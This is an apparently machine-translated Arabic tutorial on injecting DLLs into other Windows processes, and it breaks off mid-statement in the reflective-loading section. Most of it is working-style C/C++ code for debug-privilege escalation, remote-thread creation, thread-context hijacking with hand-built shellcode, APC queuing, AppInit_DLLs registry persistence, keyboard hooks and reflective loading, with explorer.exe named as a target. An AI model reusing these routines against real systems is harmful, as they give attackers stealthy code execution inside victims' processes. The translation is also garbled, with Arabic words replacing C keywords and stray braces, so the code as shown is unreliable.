English | 简体中文 | 繁體中文 | Русский язык | Français | Español | Português | Deutsch | 日本語 | 한국어 | Italiano | بالعربية
0x01.المقدمة
عند ذكر تحميل Dll، يمكن أن تأتي في الذاكرة العديد من الطرق، مثل استخدام النواة البعيدة، Apc، إلخ، هنا أقوم بتلخيص دراستي لتحميل Dll في الطبقة Ring3.
قمت بتقسيم طرق التحقق إلى ستة أنواع، وهي: 1.إنشاء نواة جديدة، 2.تعديل سياق نواة، تعديل التسجيلات، 3.إدراج في قائمة Apc، 4.تعديل السجلات، 5.التعديل على رسائل النوافذ، 6.تحميل LoadLibrary عن بُعد.
إذن، لنبدأ رحلتنا التعليمية الآن!
0x02.التحضيرات
فيما يتعلق بالبرامج التي يتم فيها التحقق، رفع صلاحيات البرنامج أمر لا مفر منه، هنا قدمت طريقتين م封装تين يمكن استخدامها لتعديل الصلاحيات. الطريقة الأولى هي تعديل الصلاحيات باستخدام وثيقة الصلاحيات؛ الطريقة الثانية هي تعديل الصلاحيات باستخدام الدالة غير الموثقة RtlAdjustPrivilege المصدرة من ntdll.dll.
// إدخال المعامل SE_DEBUG_NAME، لرفع الصلاحيات إلى إعدادات الت调试 BOOL GrantPriviledge(WCHAR* PriviledgeName) { TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges; DWORD dwReturnLength = sizeof(OldPrivileges); HANDLE TokenHandle = NULL; LUID uID; //فتح بيانات الأذونات إذا (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle)) { إذا (GetLastError() != ERROR_NO_TOKEN) { return FALSE; } if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) { return FALSE; } } if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID)) // البحث عن uID عبر اسم الصلاحية { CloseHandle(TokenHandle); return FALSE; } TokenPrivileges.PrivilegeCount = 1; // عدد الصلاحيات التي يتم رفعها TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // دالة متعددة الأبعاد، حجمها يعتمد على عدد Count TokenPrivileges.Privileges[0].Luid = uID; // هنا نقوم بتعديل الصلاحيات if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength)) { CloseHandle(TokenHandle); return FALSE; } // نجحنا CloseHandle(TokenHandle); return TRUE; }
بعد ذلك، بما أننا سنقوم بتحميل Dll في عملية الهدف، فإن الحصول على معرف عملية الهدف أمر لا مفر منه، لأننا سنستخدم OpenProcess بالتأكيد، هنا قدمت أيضًا طريقتين للحصول على معرف عملية الهدف من اسم الصورة الهدف. الطريقة الأولى هي استخدام TlHelp لإنشاء صورة عملية النظام؛ الطريقة الثانية هي استخدام سلسلة Psapi لاستدلال القوائم، ولكن هذه الطريقة لديها عيب، لا يمكن الحصول على معرف عملية 64 بت تحت نظام 32 بت.
// استخدام سلسلة ToolHelp #include <TlHelp32.h> BOOL GetProcessIdByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 ProcessId) { HANDLE ProcessSnapshotHandle = INVALID_HANDLE_VALUE; PROCESSENTRY32 ProcessEntry32 = { 0 }; ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); // يبدأ بناء هيكل PROCESSENTRY32 ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // يقدم صورة سريعة لجميع العمليات النظامية إذا (ProcessSnapshotHandle == INVALID_HANDLE_VALUE) { return FALSE; } إذا (Process32First(ProcessSnapshotHandle, &ProcessEntry32)) // إيجاد الأول { do { إذا (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0) // لا يهم الحالة { *ProcessId = ProcessEntry32.th32ProcessID; break; } } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32)); } CloseHandle(ProcessSnapshotHandle); ProcessSnapshotHandle = INVALID_HANDLE_VALUE; if (*ProcessId == 0) { return FALSE; } return TRUE; } // يستخدم دالة Psapi سلسلة التعداد #include <Psapi.h> BOOL GetProcessIdByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 ProcessId) { DWORD dwProcessesId[1024] = { 0 }; DWORD BytesReturned = 0; UINT32 ProcessCount = 0; // تحصل على جميع Ids للعمليات الحالية في النظام التشغيل الحالي، وتخزن في مصفوفة dwProcessesId إذا (!EnumProcesses(dwProcessesId, sizeof(dwProcessesId), &BytesReturned)) { return FALSE; } ProcessCount = BytesReturned / sizeof(DWORD); // تدوير للدوران (INT i = 0; i < ProcessCount; i++) { HMODULE ModuleBase = NULL; WCHAR wzModuleBaseName[MAX_PATH] = { 0 }; HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessesId[i]); if (ProcessHandle == NULL) { continue; } إذا (EnumProcessModulesEx(ProcessHandle, &ModuleBase, sizeof(HMODULE), &BytesReturned, LIST_MODULES_ALL)) { // تحصل على اسم المodule الأول للعملية GetModuleBaseName(ProcessHandle, ModuleBase, wzModuleBaseName, MAX_PATH * sizeof(WCHAR)); } CloseHandle(ProcessHandle); ProcessHandle = NULL; إذا (lstrcmpi(wzModuleBaseName, wzProcessImageName) == 0) // لا يهم التمييز بين الأحرف الكبيرة والصغيرة { *ProcessId = dwProcessesId[i]; break; } } if (*ProcessId == 0) { return FALSE; } return TRUE; }
ثم في عمليات مثل إدراج قائمة Apc، تعليق الخيوط، إلخ، يجب أن نعمل على خيوط الهدف في عملية، لذا من الضروري الحصول على معرف الخيوط أيضًا، وقدمت أيضًا طريقتين للحصول على معرف الخيوط باستخدام Id للعملية. الأولى تستخدم TlHelp لإنشاء صورة سريعة للخيوط في النظام، ووضع جميع الخيوط في نموذج vector (للاستخدام في Apc إدراج). الثانية تستخدم ZwQuerySystemInformation، لفحص معلومات العمليات في النظام، فإنني أرجع فقط معرف الخيط، وهو كافٍ.
// 枚举指定进程Id的所有线程,压入模板中 #include <vector> #include <TlHelp32.h> using namespace std; BOOL GetThreadIdByProcessId(IN UINT32 ProcessId, OUT vector<UINT32>& ThreadIdVector) { HANDLE ThreadSnapshotHandle = NULL; THREADENTRY32 ThreadEntry32 = { 0 }; ThreadEntry32.dwSize = sizeof(THREADENTRY32); ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); // 给系统所有的线程快照 if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE) { return FALSE; } if (Thread32First(ThreadSnapshotHandle, &ThreadEntry32)) { do { if (ThreadEntry32.th32OwnerProcessID == ProcessId) { ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID); // 把该进程的所有线程id压入模板 } } while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32)); } CloseHandle(ThreadSnapshotHandle); ThreadSnapshotHandle = NULL; return TRUE; } // ZwQuerySystemInformation+SystemProcessInformation typedef NTSTATUS(NTAPI * pfnZwQuerySystemInformation)( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN UINT32 SystemInformationLength, OUT PUINT32 ReturnLength OPTIONAL); BOOL GetThreadIdByProcessId(IN UINT32 ProcessId, OUT PUINT32 ThreadId) { BOOL bOk = FALSE; NTSTATUS Status = 0; PVOID BufferData = NULL; PSYSTEM_PROCESS_INFO spi = NULL; pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL; ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation"); if (ZwQuerySystemInformation == NULL) { return FALSE; } BufferData = malloc(1024 * 1024); if (!BufferData) { return FALSE; } // 在QuerySystemInformation系列函数中,查询SystemProcessInformation时,必须提前申请好内存,不能先查询得到长度再重新调用 Status = ZwQuerySystemInformation(SystemProcessInformation, BufferData, 1024 * 1024, NULL); if (!NT_SUCCESS(Status)) { free(BufferData); return FALSE; } spi = (PSYSTEM_PROCESS_INFO)BufferData; // 遍历进程,找到我们的目标进程 while (TRUE) { bOk = FALSE; if (spi->UniqueProcessId == (HANDLE)ProcessId) { bOk = TRUE; break; } else if (spi->NextEntryOffset) { spi = (PSYSTEM_PROCESS_INFO)((PUINT8)spi + spi->NextEntryOffset); } else { break; } } if (bOk) { for (INT i = 0; i < spi->NumberOfThreads; i++) { // نخرج Id thread المكتشف *ThreadId = (UINT32)spi->Threads[i].ClientId.UniqueThread; break; } } if (BufferData != NULL) { free(BufferData); } return bOk; }
حتى الآن، العمل التحضيري تقريباً انتهى، لذا لنبدأ في الموضوع الرئيسي!
0x03.طريقة إدراج واحدة -- إنشاء thread جديد
إنشاء thread جديد، أي إنشاء thread في الهدف، لخدمة thread لنا، وأنا وجدت ثلاث طرق لإنشاء thread: 1.CreateRemoteThread؛2.NtCreateThreadEx;3.RtlCreateUserThread.
الفكرة الأساسية هي: 1.طلب مساحة ذاكرة في مساحة ذاكرة الهدف؛2.كتابة مسار DLL الكامل في الذاكرة المطلوبة؛3.إنشاء thread جديد، وتنفيذ LoadLibrary، لتحقيق إدراج DLL.
ps: يتم استخدام عنوان LoadLibrary من جدول التصدير الموجود في ملف kernel32 المدمج مباشرة لأنه في معظم الحالات، جميع العمليات تضيف هذه المكتبات في نفس العنوان في ذاكرة النظام!
لأنه فقط دالة إنشاء thread يستخدمها، لذا يمكن فتح خطوة إنشاء thread واحدة فقط، وتمرير الآخرين، وكلها ستكون ناجحة، وأنا أفتح NtCreateThreadEx.
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer); #define NT_SUCCESS(x) ((x) >= 0) typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef NTSTATUS(NTAPI * pfnRtlCreateUserThread)( IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits OPTIONAL, IN SIZE_T StackReserve OPTIONAL, IN SIZE_T StackCommit OPTIONAL, IN PTHREAD_START_ROUTINE StartAddress, IN PVOID Parameter OPTIONAL, OUT PHANDLE ThreadHandle OPTIONAL, OUT PCLIENT_ID ClientId OPTIONAL); BOOL InjectDll(UINT32 ProcessId) { HANDLE ProcessHandle = NULL; ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); // 在对方进程空间申请内存,存储Dll完整路径 UINT32 DllFullPathLength = (strlen(DllFullPath) + 1); PVOID DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); إذا كان DllFullPathBufferData == NULL { CloseHandle(ProcessHandle); return FALSE; } // 将DllFullPath写进刚刚申请的内存中 SIZE_T ReturnLength; BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1, &ReturnLength); LPTHREAD_START_ROUTINE LoadLibraryAddress = NULL; HMODULE Kernel32Module = GetModuleHandle(L"Kernel32"); LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "LoadLibraryA"); pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); if (NtCreateThreadEx == NULL) { CloseHandle(ProcessHandle); return FALSE; } HANDLE ThreadHandle = NULL; // 0x1FFFFF #define THREAD_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF) NtCreateThreadEx(&ThreadHandle, 0x1FFFFF, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryAddress, DllFullPathBufferData, FALSE, NULL, NULL, NULL, NULL); /* pfnRtlCreateUserThread RtlCreateUserThread = (pfnRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread"); HANDLE ThreadHandle = NULL; NTSTATUS Status = RtlCreateUserThread(ProcessHandle, NULL, FALSE, 0, 0, 0, LoadLibraryAddress, DllFullPathBufferData, &ThreadHandle, NULL); */ /* HANDLE ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 0, LoadLibraryAddress, DllFullPathBufferData, 0, NULL); // CreateRemoteThread 函数 */ if (ThreadHandle == NULL) { CloseHandle(ProcessHandle); return FALSE; } if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)} { return FALSE; } CloseHandle(ProcessHandle); CloseHandle(ThreadHandle); return TRUE; }
0x04. طريقة التضمين الثانية -- إعداد سياق السطر
الهدف الرئيسي من إعداد سياق السطر هو أن يتحول سطر معين في الهدف إلى تنفيذ شيفرة برمجية الخاصة بنا، ثم يعود للقيام بما يجب القيام به، وشيفرة برمجيةنا هي سلسلة من ShellCode مكتوبة بلغة汇编.
هذه السلسلة من ShellCode تقوم بثلاثة أمور: 1. إدخال مسار Dll الكامل كمعامل؛ 2. الاتصال بـ LoadLibrary عنوان الدالة؛ 3. العودة إلى Eip أو Rip السابق.
في هذا الصدد، اخترت أمر الاتصال هو ff 15 وff 25، في 32 بت ينتقل إلى 15(25) أمر بعد البايتات المتبعة في العنوان، في 64 بت يوضع بعد أمر 15(25) أربعة بايتات هي النقطة الزائدة، هذا التحول ينتقل إلى العنوان الذي يحتوي عليه البايتات، وقد كتبت النقطة الزائدة كـ0، لسهولة الحساب.
#ifdef _WIN64 // اختبار 64 بت دليل تم تضمينه، تم إصلاح الخطأ /* 0:019> u 0x000002b5d5f80000 000002b5`d5f80000 4883ec28 sub rsp,28h 000002b5`d5f80004 488d0d20000000 lea rcx,[000002b5`d5f8002b] 000002b5`d5f8000b ff1512000000 call qword ptr [000002b5`d5f80023] 000002b5`d5f80011 4883c428 add rsp,28h 000002b5`d5f80015 ff2500000000 jmp qword ptr [000002b5`d5f8001b] */ UINT8 ShellCode[0x100] = { 0x48,0x83,0xEC,0x28, // sub rsp ,28h 0x48,0x8D,0x0d, // [+4] lea rcx, 0x00,0x00,0x00,0x00, // [+7] DllNameOffset = [+43] - [+4] - 7 // call جيب النقطة الزائدة، إلى العنوان، فك الرمز 0xff,0x15, // [+11] 0x00,0x00,0x00,0x00, // [+13] 0x48,0x83,0xc4,0x28, // [+17] add rsp,28h // jmp 跳偏移,到地址,解*号 0xff,0x25, // [+21] 0x00,0x00,0x00,0x00, // [+23] LoadLibraryAddressOffset // 存放原先的 rip 0x00,0x00,0x00,0x00, // [+27] 0x00,0x00,0x00,0x00, // [+31] // 跳板 loadlibrary地址 0x00,0x00,0x00,0x00, // [+35] 0x00,0x00,0x00,0x00, // [+39] // 存放dll完整路径 // 0x00,0x00,0x00,0x00, // [+43] // 0x00,0x00,0x00,0x00 // [+47] // ...... }; #else // 测试 32 位 配合新写的Dll可重复注入 /* 0:005> u 0x00ca0000 00000000`00ca0000 60 pusha 00000000`00ca0001 9c pushfq 00000000`00ca0002 681d00ca00 push 0CA001Dh 00000000`00ca0007 ff151900ca00 call qword ptr [00000000`01940026] 00000000`00ca000d 9d popfq 00000000`00ca000e 61 popa 00000000`00ca000f ff251500ca00 jmp qword ptr [00000000`0194002a] */ UINT8 ShellCode[0x100] = { 0x60, // [+0] pusha 0x9c, // [+1] pushf 0x68, // [+2] push 0x00,0x00,0x00,0x00, // [+3] ShellCode + 0xff,0x15, // [+7] call 0x00,0x00,0x00,0x00, // [+9] LoadLibrary Addr Addr 0x9d, // [+13] popf 0x61, // [+14] popa 0xff,0x25, // [+15] jmp 0x00,0x00,0x00,0x00, // [+17] jmp eip // عنوان eip 0x00,0x00,0x00,0x00, // [+21] // عنوان LoadLibrary 0x00,0x00,0x00,0x00, // [+25] // DllFullPath 0x00,0x00,0x00,0x00 // [+29] }; #endif
يتكون عملية التحقق من هذه الخطوات: طلب ذاكرة في عملية الهدف (ذاكرة قابلة للتنفيذ) ---> ملء عنوان الذاكرة المطلوب لShellCode ---> كتابة ShellCode في الذاكرة المطلوبة ---> SuspendThread (تعليق التسلسل)---> GetThreadContext (الحصول على سياق التسلسل)---> تعديل Eip أو Rip في السياق إلى عنوان بداية ShellCode ---> SetThreadContext (تعيين السياق المعدل)---> ResumeThread (استئناف تنفيذ التسلسل).
BOOL Inject(IN UINT32 ProcessId, IN UINT32 ThreadId) { BOOL bOk = FALSE; CONTEXT ThreadContext = { 0 }; PVOID BufferData = NULL; HANDLE ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId); HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); // أولاً تعليق التسلسل SuspendThread(ThreadHandle); ThreadContext.ContextFlags = CONTEXT_ALL; if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE) { CloseHandle(ThreadHandle); CloseHandle(ProcessHandle); return FALSE; } BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (BufferData != NULL) { if (LoadLibraryWAddress != NULL) { #ifdef _WIN64 // ShellCode + 43 مكان يحتوي على المسار الكامل PUINT8 v1 = ShellCode + 43; memcpy(v1, DllFullPath, (wcslen(DllFullPath) + 1) * sizeof(WCHAR)); UINT32 DllNameOffset = (UINT32)(((PUINT8)BufferData + 43) - ((PUINT8)BufferData + 4) - 7); *(PUINT32)(ShellCode + 7) = DllNameOffset; // وضع عنوان وظيفة LoadLibrary في ShellCode + 35 *(PUINT64)(ShellCode + 35) = (UINT64)LoadLibraryWAddress; UINT32 LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + 35) - ((PUINT8)BufferData + 11) - 6); *(PUINT32)(ShellCode + 13) = LoadLibraryAddressOffset; // وضع عنوان rip *(PUINT64)(ShellCode + 27) = ThreadContext.Rip; if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL)) { return FALSE; } ThreadContext.Rip = (UINT64)BufferData; #else PUINT8 v1 = ShellCode + 29; memcpy((char*)v1, DllFullPath, (wcslen(DllFullPath) + 1) * sizeof(WCHAR)); // هنا اسم DLL المطلوب التحقق منه *(PUINT32)(ShellCode + 3) = (UINT32)BufferData + 29; *(PUINT32)(ShellCode + 25) = LoadLibraryWAddress; // وضع عنوان loadlibrary في ShellCode *(PUINT32)(ShellCode + 9) = (UINT32)BufferData + 25;// تعديل عنوان call إلى عنوان محفوظ loaddlladdr في المساحة المستهدفة ////////////////////////////////// *(PUINT32)(ShellCode + 21) = ThreadContext.Eip; *(PUINT32)(ShellCode + 17) = (UINT32)BufferData + 21;// تعديل jmp إلى عنوان eip الأصلي if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL)) { printf("خطأ في كتابة العملاق\n"); return FALSE; } ThreadContext.Eip = (UINT32)BufferData; #endif if (!SetThreadContext(ThreadHandle, &ThreadContext)) { printf("خطأ في تعيين سياق النواة\n"); return FALSE; } ResumeThread(ThreadHandle); printf("ShellCode إدراج مكتمل\r\n"); } } CloseHandle(ThreadHandle); CloseHandle(ProcessHandle); return TRUE; }
0x05. إدراج Apc في القائمة
إدراج Apc في Ring3 ليس مستقرًا، وأنا أقوم بإدراج Apc في كل نواة من نواة العملاق في قائمة Apc (للنواة هناك قائمة Apc من نوعين: Kernel وUser) وأنتظر تنفيذ Apc المسجل في هذه النواة. فقط عندما تكون النواة في حالة قابلية التغيير، سأتحقق مما إذا كان هناك وظيفة مسجلة تحتاج إلى تنفيذ.
ps: لان لا نعرف أي نواة ستتعامل مع Apc، يبدو أن إدراج Apc في Ring3 ليس جيدًا كما في الطرق الأخرى، ولكن إدراج Apc في Ring0 هو مستقر نسبيًا. تم اختبار xp وwin10 بنجاح، ولكن في win7، كان ينهار explorer عند إدراج النص النصي، بعد ذلك، بعد بعض التعديلات، وجدنا أن التمرير من النواة الأخيرة إلى الأولى عند إدراج النواة لن ينهار.
int main() { ...... ThreadCount = ThreadIdVector.size(); for (INT i = ThreadCount - 1; i >= 0; i--) { UINT32 ThreadId = ThreadIdVector[i]; InjectDllByApc(ProcessId, ThreadId); } ...... } BOOL InjectDllByApc(IN UINT32 ProcessId, IN UINT32 ThreadId) { BOOL bOk = 0; HANDLE ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId); HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); UINT_PTR LoadLibraryAddress = 0; SIZE_T ReturnLength = 0; UINT32 DllFullPathLength = (strlen(DllFullPath) + 1); // عالمي، طلب ذاكرة مرة واحدة إذا كان DllFullPathBufferData == NULL { // طلب ذاكرة DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); إذا كان DllFullPathBufferData == NULL { CloseHandle(ProcessHandle); CloseHandle(ThreadHandle); return FALSE; } } // لتجنب فشل العمليات السابقة في الكتابة، يتم التكرار في كل مرة bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, strlen(DllFullPath) + 1, &ReturnLength); if (bOk == FALSE) { CloseHandle(ProcessHandle); CloseHandle(ThreadHandle); return FALSE; } LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA"); إذا كان LoadLibraryAddress == NULL { CloseHandle(ProcessHandle); CloseHandle(ThreadHandle); return FALSE; } __try { QueueUserAPC((PAPCFUNC)LoadLibraryAddress, ThreadHandle, (UINT_PTR)DllFullPathBufferData); } __except (EXCEPTION_CONTINUE_EXECUTION) { } CloseHandle(ProcessHandle); CloseHandle(ThreadHandle); return TRUE; }
0x06. تعديل السجل
يمكن اعتبار تضمين السجل هوكل عالمي، لأن كل عملية جديدة يتم إنشاؤها في نظام التشغيل، يتم تلقائيًا تنفيذ LoadLibrary لتحميل مسار DLL المكتوب في قيمة مفتاح سجل في سجل التطبيقات
نحن مهتمون بهذا المفتاح في سجل التسجيل: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows، ونحن نريد تعيين القيمة المفتاح AppInit_DLLs = "مسار DLL الكامل"، LoadAppInit_Dlls = 1 (لنبدأ النظام باستخدام هذا المفتاح في السجل)
ps: بسبب أن Dll المدمج في بداية إنشاء العملية، يجب توخي الحذر عند استخدام الوظائف في Dll، لأن بعض المكتبات قد لم يتم تحميلها بعد.}
int main() { LSTATUS Status = 0; WCHAR* wzSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"; HKEY hKey = NULL; // فتح السجل Status = RegOpenKeyExW(HKEY_LOCAL_MACHINE, // الفرع الرئيسي الذي يتم فتحه wzSubKey, // عنوان الفرع الذي يتم فتحه 0, // محفوظ، يتم إرسال 0 KEY_ALL_ACCESS, // طريقة الفتح &hKey); // معرف الفرع الفرعي الم返回 إذا (Status != ERROR_SUCCESS) { return 0; } WCHAR* wzValueName = L"AppInit_DLLs"; DWORD dwValueType = 0; UINT8 ValueData[MAX_PATH] = { 0 }; DWORD dwReturnLength = 0; // استعلام عن السجل Status = RegQueryValueExW(hKey, // معرف الفرع الفرعي wzValueName, // اسم القيمة التي يتم البحث عنها NULL, // محفوظ &dwValueType, // نوع البيانات ValueData, // قيمة المفتاح &dwReturnLength); WCHAR wzDllFullPath[MAX_PATH] = { 0 }; GetCurrentDirectoryW(MAX_PATH, wzDllFullPath); #ifdef _WIN64 wcscat_s(wzDllFullPath, L"\\x64NormalDll.dll"); #else wcscat_s(wzDllFullPath, L"\\x86NormalDll.dll"); #endif // تعيين القيمة المفتاحية Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)wzDllFullPath, (lstrlen(wzDllFullPath) + 1) * sizeof(WCHAR)); إذا (Status != ERROR_SUCCESS) { return 0; } wzValueName = L"LoadAppInit_DLLs"; DWORD dwLoadAppInit = 1; // استعلام عن السجل Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength); // تعيين القيمة المفتاحية Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)&dwLoadAppInit, sizeof(DWORD)); إذا (Status != ERROR_SUCCESS) { return 0; } printf("أدخل أي مفتاح لإعادة التشغيل\r\n"); getchar(); getchar(); // استعادة القيمة المفتاحية dwLoadAppInit = 0; Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength); Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)&dwLoadAppInit, sizeof(DWORD)); wzValueName = L"AppInit_DLLs"; ZeroMemory(wzDllFullPath, (lstrlen(wzDllFullPath) + 1) * sizeof(WCHAR)); Status = RegQueryValueExW(hKey, wzValueName, NULL, &dwValueType, ValueData, &dwReturnLength); Status = RegSetValueExW(hKey, wzValueName, NULL, dwValueType, (CONST BYTE*)wzDllFullPath, 0); return 0; }
0x07. إدراج رسائل نافذة
استخدمت إدراج رسائل نافذة العنصر MS API SetWindowsHookEx، والذي يعمل على ربط رسالة نافذة معينة في عملية معينة لخطوة معينة، وعندما يتم إطلاق الرسالة، يتم استدعاء الدالة المصدرة. في النهاية، تكون الطرق التي تعلمتها هي استدعاء LoadLibrary، ولكن هذه الطريقة ليست كذلك.
// إدراج رمز المفتاح الرئيسي لتقديم مفتاح التطبيق المحدد للوحدة البرمجية BOOL Inject(IN UINT32 ThreadId, OUT HHOOK& HookHandle) { HMODULE DllModule = LoadLibraryA(DllFullPath); FARPROC FunctionAddress = GetProcAddress(DllModule, "Sub_1"); HookHandle = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)FunctionAddress, DllModule, ThreadId); إذا (HookHandle == NULL) { return FALSE; } return TRUE; } // Export function in the dynamic library extern "C" __declspec(dllexport) VOID Sub_1() // Export function { MessageBox(0, 0, 0, 0); }
0x08. Manually implement LoadLibrary
This method is learned from a github called ReflevtiveDllInjection, which is roughly divided into two parts, exe and dll, which are described separately below.
exe: As the injection startup program, it applies for a PAGE_EXECUTE_READWRITE memory block in the target process, writes Dll in file format directly into the target process memory space, and then gets the offset of the export function "LoadDllByOEP" in the file, and uses CreateRemoteThread to let the target process execute the LoadDllByOEP function directly.
Dll: The most critical export function is LoadDllByOEP, in which the function first gets the address of the NtFlushInstructionCache function from the export table of the ntdll.dll loaded in the target process, and gets the addresses of LoadLibraryA, GetProcAddress, and VirtualAlloc from the export table of Kernel32.dll; then re-allocates memory in the process memory space, copies its own PE structure into memory, and then corrects the IAT and redirection block, finally calls the module OEP, and completes the manual implementation of LoadLibrary!
ps: When writing code, refer to the "Windows PE Bible" and gain a new understanding of the entire PE structure. I have a强迫症for loop... All the code is pasted here.
// InjectDllByOEP.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <Windows.h> #include <iostream> #include <TlHelp32.h> using namespace std; BOOL GrantPriviledge(WCHAR* PriviledgeName); UINT32 GetLoadDllByOEPOffsetInFile(PVOID DllBuffer); UINT32 RVAToOffset(UINT32 RVA, PIMAGE_NT_HEADERS NtHeader); BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId); HANDLE WINAPI LoadRemoteDll(HANDLE ProcessHandle, PVOID ModuleFileBaseAddress, UINT32 ModuleFileSize, LPVOID lParam); CHAR DllFullPath[MAX_PATH] = { 0 }; int main() { // أولاً، قم بالتسلح إذا (GrantPriviledge(SE_DEBUG_NAME) == FALSE) { printf("خطأ في منح الصلاحيات\r\n"); } // للحصول على معرف عملية باستخدام اسم عملية UINT32 ProcessId = 0; GetCurrentDirectoryA(MAX_PATH, DllFullPath); #ifdef _WIN64 // GetProcessIdByProcessImageName(L"Taskmgr.exe", &ProcessId); GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId); strcat_s(DllFullPath, "\\x64LoadRemoteDll.dll"); #else GetProcessIdByProcessImageName(L"notepad++.exe", &ProcessId); strcat_s(DllFullPath, "\\x86LoadRemoteDll.dll"); #endif // الحصول على معرف dll HANDLE FileHandle = CreateFileA(DllFullPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); إذا (FileHandle == INVALID_HANDLE_VALUE) { printf("خطأ في فتح الملف\r\n"); return 0; } // الحصول على طول ملف dll UINT32 FileSize = GetFileSize(FileHandle, NULL); إذا (FileSize == INVALID_FILE_SIZE || FileSize == 0) { printf("Get File Size Error\r\n"); CloseHandle(FileHandle); return 0; } // طلب ذاكرة، حفظ PVOID FileData = HeapAlloc(GetProcessHeap(), 0, FileSize); if (FileData == NULL) { printf("HeapAlloc Error\r\n"); CloseHandle(FileHandle); return 0; } DWORD ReturnLength = 0; BOOL bOk = ReadFile(FileHandle, FileData, FileSize, &ReturnLength, NULL); CloseHandle(FileHandle); if (bOk == FALSE) { printf("ReadFile Error\r\n"); HeapFree(GetProcessHeap(), 0, FileData); return 0; } HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); if (ProcessHandle == NULL) { printf("OpenProcess Error\r\n"); HeapFree(GetProcessHeap(), 0, FileData); return 0; } // تنفيذ دالة تصدير DllByOEP في Dll، لتحقيق وظيفة LoadLibrary في عملية الهدف HANDLE ThreadHandle = LoadRemoteDll(ProcessHandle, FileData, FileSize, NULL); if 